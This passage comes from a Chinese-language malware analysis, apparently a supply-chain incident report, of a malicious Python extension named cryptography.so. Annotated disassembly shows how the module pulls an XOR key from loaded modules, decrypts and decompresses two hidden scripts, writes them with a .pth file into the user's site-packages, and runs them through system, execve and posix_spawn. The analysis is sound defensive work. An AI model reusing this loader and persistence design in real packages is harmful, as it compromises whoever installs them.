file_format=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;text&#39;</span></span><span leaf="">, async_logging=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">False</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                 redact_patterns=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        self.logger = logging.getLogger(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;custom_logger&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        self.logger.setLevel(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">getattr</span></span><span leaf="">(logging, log_level.upper(), logging.INFO))</span><span leaf=""><br/></span><span leaf="">        self.encryption_key = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        self.file_handler = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        self.encrypt_file = encrypt_file</span><span leaf=""><br/></span><span leaf="">        self.async_logging = async_logging</span><span leaf=""><br/></span><span leaf="">        self.listener = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">None</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># ... 后续初始化控制台 handler、文件 handler 等</span></span><span leaf=""><br/></span></code></pre><hr style="box-sizing: border-box;margin: 24px 0px;padding: 0px;color: inherit;border-width: 0px 0px 1px;border-right-style: initial;border-bottom-style: solid;border-left-style: initial;border-right-color: initial;border-bottom-color: rgba(0, 0, 0, 0.1);border-left-color: initial;border-image: initial;border-top-style: initial;border-top-color: initial;opacity: 0.25;height: 0px;background-color: rgb(234, 236, 239);transform-origin: 0px 0px;transform: scale(1, 0.5);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4. cryptography.so -- 恶意核心（深度二进制分析）</span></h2><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.1 文件属性</span></h3><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf="">类型:   ELF 64-bit LSB shared object (Python C 扩展)</span><span leaf=""><br/></span><span leaf="">编译器: GCC 11.3.0 (Debian)</span><span leaf=""><br/></span><span leaf="">.text:  0x9110 字节 (37KB 代码段)</span><span leaf=""><br/></span><span leaf="">入口:   PyInit_cryptography (地址 0x36a0)</span><span leaf=""><br/></span></code></pre><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.2 完整导出符号表</span></h3><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf="">PyInit_cryptography   T  0x36a0  -- Python 模块初始化（恶意核心）</span><span leaf=""><br/></span><span leaf="">encrypt_message       --         -- 正常功能伪装（RC4+Base64 加密）</span><span leaf=""><br/></span><span leaf="">decrypt_message       --         -- 正常功能伪装（RC4+Base64 解密）</span><span leaf=""><br/></span><span leaf="">system                T  0x6390  -- 执行系统命令</span><span leaf=""><br/></span><span leaf="">execve                T  0xb050  -- 执行程序</span><span leaf=""><br/></span><span leaf="">open                  T  0x4220  -- 打开文件</span><span leaf=""><br/></span><span leaf="">read                  T  0xacd0  -- 读取文件</span><span leaf=""><br/></span><span leaf="">fwrite                T  0xb300  -- 写入文件</span><span leaf=""><br/></span><span leaf="">mkdir                 T  0x69a0  -- 创建目录</span><span leaf=""><br/></span><span leaf="">access                T  0x71d0  -- 检查文件权限</span><span leaf=""><br/></span><span leaf="">getenv                T  0x4180  -- 读取环境变量</span><span leaf=""><br/></span><span leaf="">getlogin              T  0xabd0  -- 获取用户名</span><span leaf=""><br/></span><span leaf="">posix_spawn*          T  --      -- 进程创建系列函数</span><span leaf=""><br/></span><span leaf="">Py_Initialize         U  (外部)  -- 初始化 Python 解释器</span><span leaf=""><br/></span><span leaf="">PySys_GetObject       U  (外部)  -- 获取 sys 模块对象</span><span leaf=""><br/></span><span leaf="">PyDict_Next           U  (外部)  -- 遍历字典</span><span leaf=""><br/></span><span leaf="">PyObject_HasAttrString U (外部)  -- 检查对象属性</span><span leaf=""><br/></span><span leaf="">PyModule_Create2      U  (外部)  -- 创建 Python 模块</span><span leaf=""><br/></span></code></pre><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.3 PyInit_cryptography() 反汇编分析</span></h3><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">函数从 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">0x36a0</span></code><span leaf=""> 开始，栈帧 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">0x3238</span></code><span leaf=""> 字节（约 13KB），主要执行以下操作：</span></p><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">阶段 1 - 初始化混淆数据</span></strong></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf="">;; 在栈上布置混淆的数据</span><span leaf=""><br/></span><span leaf="">;; 混淆路径（0x97-0xaf）: XOR 加密的 &#34;.local/lib/pytho/site-packages/&#34;</span><span leaf=""><br/></span><span leaf="">mov    rax, 0x4138162a213f3622     ; 混淆路径前8字节</span><span leaf=""><br/></span><span leaf="">mov    [rsp+0xa3], rax</span><span leaf=""><br/></span><span leaf="">mov    rax, 0x312e2e27333935       ; &#34;593&#39;.1.&#34; 混淆路径部分</span><span leaf=""><br/></span><span leaf="">mov    [rsp+0x97], rax</span><span leaf=""><br/></span><span leaf="">movl   [rsp+0xab], 0x21357737      ; &#34;7w5!&#34;</span><span leaf=""><br/></span><span leaf="">movb   [rsp+0xaf], 0x50            ; &#34;P&#34;</span><span leaf=""><br/></span><span leaf="">movl   [rsp+0x9f], 0x582d2d20      ; &#34; --X&#34;</span><span leaf=""><br/></span><span leaf="">;; 两块大型混淆数据从 .rodata 段加载（地址 0xc080 和 0xc408）</span><span leaf=""><br/></span><span leaf="">;; 分别是 0x386 字节和 0x1d0 字节的加密恶意载荷</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">阶段 2 - 遍历 Python 模块提取密钥</span></strong></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf="">;; 获取 sys.path</span><span leaf=""><br/></span><span leaf="">lea    rdi, [rip+0x87e7]           ; &#34;path&#34; 字符串</span><span leaf=""><br/></span><span leaf="">call   PySys_GetObject@plt          ; rax = sys.path</span><span leaf=""><br/></span><span leaf="">;; 调用 Py_Initialize 初始化解释器</span><span leaf=""><br/></span><span leaf="">call   Py_Initialize@plt</span><span leaf=""><br/></span><span leaf="">;; 获取 Python 模块字典</span><span leaf=""><br/></span><span leaf="">lea    rdi, [rip+0x87e7]           ; &#34;modules&#34; 或 &#34;path&#34;</span><span leaf=""><br/></span><span leaf="">call   PySys_GetObject@plt</span><span leaf=""><br/></span><span leaf="">;; 遍历字典寻找特定属性作为 XOR 密钥</span><span leaf=""><br/></span><span leaf="">loop:</span><span leaf=""><br/></span><span leaf="">    mov    rdi, rbp                 ; 字典位置指针</span><span leaf=""><br/></span><span leaf="">    call   PyDict_Next@plt</span><span leaf=""><br/></span><span leaf="">    test   eax, eax</span><span leaf=""><br/></span><span leaf="">    jne    check_attr</span><span leaf=""><br/></span><span leaf="">    jmp    decrypt_phase</span><span leaf=""><br/></span><span leaf="">check_attr:</span><span leaf=""><br/></span><span leaf="">    mov    rdi, [rsp+0x60]          ; 当前字典项</span><span leaf=""><br/></span><span leaf="">    lea    rsi, [rip+...]           ; &#34;__file__&#34; 属性名</span><span leaf=""><br/></span><span leaf="">    call   PyObject_HasAttrString@plt</span><span leaf=""><br/></span><span leaf="">    test   eax, eax</span><span leaf=""><br/></span><span leaf="">    jne    found_key                ; 找到密钥</span><span leaf=""><br/></span><span leaf="">    jmp    loop</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">阶段 3 - XOR 解密 + zlib 解压</span></strong></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf="">;; 使用提取的密钥（存储在 rbp，长度在 r12/rcx）逐字节 XOR 解密</span><span leaf=""><br/></span><span leaf="">;; 解密 site-packages 路径（25字节，偏移 0x97-0xaf）</span><span leaf=""><br/></span><span leaf="">xor    [rsp+0x97], al              ; 逐字节 XOR</span><span leaf=""><br/></span><span leaf="">xor    [rsp+0x98], al</span><span leaf=""><br/></span><span leaf="">... (重复25次)</span><span leaf=""><br/></span><span leaf="">;; 结果: &#34;.local/lib/python3.12/site-packages/&#34;</span><span leaf=""><br/></span><span leaf="">;; 解密恶意脚本A（0x386字节，循环 XOR）</span><span leaf=""><br/></span><span leaf="">decrypt_loop_A:</span><span leaf=""><br/></span><span leaf="">    mov    rax, rcx</span><span leaf=""><br/></span><span leaf="">    xor    edx, edx</span><span leaf=""><br/></span><span leaf="">    div    rsi                      ; index % key_length</span><span leaf=""><br/></span><span leaf="">    movzbl eax, [rbp+rdx]           ; key[index % key_len]</span><span leaf=""><br/></span><span leaf="">    xor    [rdi+rcx], al            ; data[i] ^= key[i % key_len]</span><span leaf=""><br/></span><span leaf="">    add    rcx, 1</span><span leaf=""><br/></span><span leaf="">    cmp    rcx, 0x386               ; 共 902 字节</span><span leaf=""><br/></span><span leaf="">    jne    decrypt_loop_A</span><span leaf=""><br/></span><span leaf="">;; 解密恶意脚本B（0x1d0字节，循环 XOR）</span><span leaf=""><br/></span><span leaf="">decrypt_loop_B:</span><span leaf=""><br/></span><span leaf="">    ... (同样的 XOR 循环)</span><span leaf=""><br/></span><span leaf="">    cmp    rcx, 0x1d0               ; 共 464 字节</span><span leaf=""><br/></span><span leaf="">    jne    decrypt_loop_B</span><span leaf=""><br/></span><span leaf="">;; zlib 解压</span><span leaf=""><br/></span><span leaf="">;; 脚本A: uncompress(malloc(0xe18), 0xe18, encrypted_A, 0x386) -&gt; 3608 字节</span><span leaf=""><br/></span><span leaf="">mov    edi, 0xe18                   ; 解压缓冲区大小 = 3608</span><span leaf=""><br/></span><span leaf="">call   malloc@plt</span><span leaf=""><br/></span><span leaf="">mov    ecx, 0x386                   ; 压缩数据大小</span><span leaf=""><br/></span><span leaf="">call   uncompress@plt               ; zlib 解压</span><span leaf=""><br/></span><span leaf="">;; 脚本B: uncompress(malloc(0x740), 0x740, encrypted_B, 0x1d0) -&gt; 1856 字节  </span><span leaf=""><br/></span><span leaf="">mov    edi, 0x740</span><span leaf=""><br/></span><span leaf="">call   malloc@plt</span><span leaf=""><br/></span><span leaf="">mov    ecx, 0x1d0</span><span leaf=""><br/></span><span leaf="">call   uncompress@plt</span><span leaf=""><br/></span><span leaf="">;; 解密额外数据（32字节，偏移 0xb0-0xcf）</span><span leaf=""><br/></span><span leaf="">decrypt_loop_C:</span><span leaf=""><br/></span><span leaf="">    xor    [rbx+rcx], al</span><span leaf=""><br/></span><span leaf="">    cmp    rcx, 0x20                ; 32 字节</span><span leaf=""><br/></span><span leaf="">    jne    decrypt_loop_C</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">阶段 4 - 写入恶意文件并执行</span></strong></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf="">;; 使用解密的路径构造完整文件路径</span><span leaf=""><br/></span><span leaf="">;; 目标: {site-packages}/https.py, {site-packages}/pozos.py, {site-packages_root}/package.pth</span><span leaf=""><br/></span><span leaf="">;; mkdir 创建必要目录</span><span leaf=""><br/></span><span leaf="">call   mkdir@plt</span><span leaf=""><br/></span><span leaf="">;; open + fwrite 写入解压后的恶意脚本</span><span leaf=""><br/></span><span leaf="">call   open@plt</span><span leaf=""><br/></span><span leaf="">call   fwrite@plt</span><span leaf=""><br/></span><span leaf="">call   close@plt</span><span leaf=""><br/></span><span leaf="">;; 通过 system() 或 execve() 执行</span><span leaf=""><br/></span><span leaf="">call   system@plt                   ;; 或</span><span leaf=""><br/></span><span leaf="">call   execve@plt</span><span leaf=""><br/></span><span leaf="">;; 使用 posix_spawn 系列创建隐蔽子进程</span><span leaf=""><br/></span><span leaf="">call   posix_spawnattr_init</span><span leaf=""><br/></span><span leaf="">call   posix_spawnattr_setsigmask</span><span leaf=""><br/></span><span leaf="">call   posix_spawnattr_setsigdefault</span><span leaf=""><br/></span><span leaf="">call   posix_spawnattr_setflags</span><span leaf=""><br/></span><span leaf="">call   posix_spawn                  ;; 创建子进程执行恶意代码</span><span leaf=""><br/></span><span leaf="">call   posix_spawnattr_destroy</span><span leaf=""><br/></span><span leaf="">call   waitpid</span><span leaf=""><br/></span></code></pre><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android 